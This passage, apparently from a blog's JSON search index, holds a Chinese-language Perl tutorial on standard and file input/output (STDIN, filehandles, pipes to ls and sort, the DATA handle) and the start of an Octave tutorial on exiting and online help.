(%hash,split); } print \u0026#34;$_ is $hash{$_}\\n\u0026#34; for keys %hash; __END__ Bill boy Mary girl Joe boy ","permalink":"https://blog.gtwang.org/perl/perl-course-notes-4/","summary":"\u003ch2 id=\"標準輸入輸出\"\u003e標準輸入輸出\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 標準輸入輸出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) STDIN, STDOUT, STDERR\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Enter your name:\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$input\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;STDIN\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 從 STDIN 讀入\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"bp\"\u003eSTDOUT\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello, $input\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 輸出至 STDOUT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：print 預設輸出至 STDOUT\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 把 STDIN 內容全部讀入 @all_lines，每一行為一個元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@all_lines\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;STDIN\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 輸出至 STDERR\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"bp\"\u003eSTDERR\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;This is an error!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) 鑽石算符\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 從參數指定之檔案讀入資料，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 若未指定檔案，則從標準輸入讀入資料\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 等同於 print STDOUT $_;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：此 Perl script 相當於 cat\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) printf 格式化輸出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$name\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Joe\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Hello,        Joe.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprintf\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello, %10s.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$name\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Hello, Joe       .\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eprintf\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Hello, %-10s.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$name\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：輸出格式請參考 perlfunc(1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"檔案輸入輸出\"\u003e檔案輸入輸出\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 檔案輸入輸出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) 檔案代碼 (filehandle)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 開啟檔案，預設為讀入模式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;input1.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 從 INFILE 讀入一行\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$line1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;INFILE\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 從 INFILE 讀入下一行\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$line2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;INFILE\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 關閉檔案\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 以覆寫模式開啟檔案輸出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u0026gt;output3.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 把 $line1 寫入 OUTFILE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e \u003cspan class=\"nv\"\u003e$line1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 把 $line2 寫入 OUTFILE\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e \u003cspan class=\"nv\"\u003e$line2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 關閉檔案\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u0026lt;input2.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 以讀入模式開啟檔案\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 把 INFILE2 檔案內容全部讀入 @all_line\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@all_line\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;INFILE2\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 關閉檔案\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 以附加模式開啟檔案輸出\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u0026gt;\u0026gt;output4.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 把第一行附加至 OUTFILE2 之後\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE2\u003c/span\u003e \u003cspan class=\"nv\"\u003e$all_line\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eOUTFILE2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 關閉檔案\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 開啟檔案，預設為讀入模式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;input1.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e\u0026lt;INFILE\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 將檔案讀入內容印出，相當於 cat\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eINFILE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) 使用 pipe\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eIN\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;ls|\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 把 ls 的輸出當作輸入\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@file\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"sr\"\u003e\u0026lt;IN\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eIN\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eopen\u003c/span\u003e \u003cspan class=\"n\"\u003eOUT\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;|sort -r\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 把輸出導入 sort\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@file\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003echomp\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"n\"\u003eOUT\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u0026lt;$_\u0026gt;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eclose\u003c/span\u003e \u003cspan class=\"n\"\u003eOUT\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) DATA 檔案代碼\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 放在 perl script 檔內結尾處的資料，以 \u0026#34;__END__\u0026#34; 開始，\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 使用方式即直接使用 \u0026lt;DATA\u0026gt; 檔案代碼。\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e\u0026lt;DATA\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003esplit\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;$_ is $hash{$_}\\n\u0026#34;\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"nb\"\u003ekeys\u003c/span\u003e \u003cspan class=\"nv\"\u003e%hash\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e__END__\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003eBill    boy\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003eMary    girl\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003eJoe boy\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 標準輸入輸出與檔案輸入輸出"},{"content":"啟動與離開 Octave 一般來說 Octave 的啟動方式是直接執行 octave，當啟動了之後 Octave 會等待使用者輸入指令以便執行，而執行完後又會繼續等待下一個指令，直到使用者輸入離開 Octave 的指令為止。\n離開 Octave 可以使用 exit() 或 quit() 函數：\nexit (status) quit (status) exit() 與 quit() 函數用來離開 Octave，兩個函數功能相同，status 參數是指定 Octave 結束時回傳給作業系統的值，若不指定則預設為0。\natexit (fcn) atexit (fcn, flag) 設定離開 Octave 時執行的函數，例如：\nfunction last_words () disp (\u0026#34;Bye bye\u0026#34;); endfunction atexit (\u0026#34;last_words\u0026#34;); 這裡自行定義一個函數 last_words()，並呼叫 atexit() 函數，這樣在 Octave 離開時，就會自動執行 last_words() 函數。\natexit() 函數會將 fcn 所指定的函數加入一個列表中，在 Octave 離開時執行此列表中的函數，也就是說可以指定多個函數一並在 Octave 離開時執行，而 flag 參數是用來指定將 fcn 加入或移除列表，若 flag 設為 true 則為加入，設為 false 則為移除。\natexit() 從列表中移除函數時，只會將第一個符合的函數移除，若是一個函數加入了好幾次，在移除時也要移除好幾次。\n線上說明文件（Online Help） Octave 官方完整的線上參考手冊可以使用 doc 指令來查閱：\ndoc [function_name] doc 指令會使用 GNU Info 瀏覽器打開 Octave 官方線上參考手冊，function_name 參數用來指定要查看的章節，例如：\ndoc rand 若是不指定 function_name，則會顯示文件最開頭的目錄：\ndoc 而由一些由使用者發展的函數與變數亦可以使用 help 指令查詢其說明與使用方式：\nhelp [name] help 指令用來查詢一些由使用者發展的函數與變數，name 為指定的函數或是主題名稱，例如查詢 plot 函數的說明與使用方式：\nhelp plot name 也可以直接指定為運算子，例如乘法運算子的說明：\nhelp * 以 help 查詢逗號（,）與分號（;）運算子時，因為這兩個運算子是指令的分隔運算子，無法直接放在指令中，必須使用 help comma 與 help semicolon 替代。\n若要搜尋線上手冊可以使用 lookfor 指令：\nlookfor str lookfor -all str [func, helpstring] = lookfor (str) [func, helpstring] = 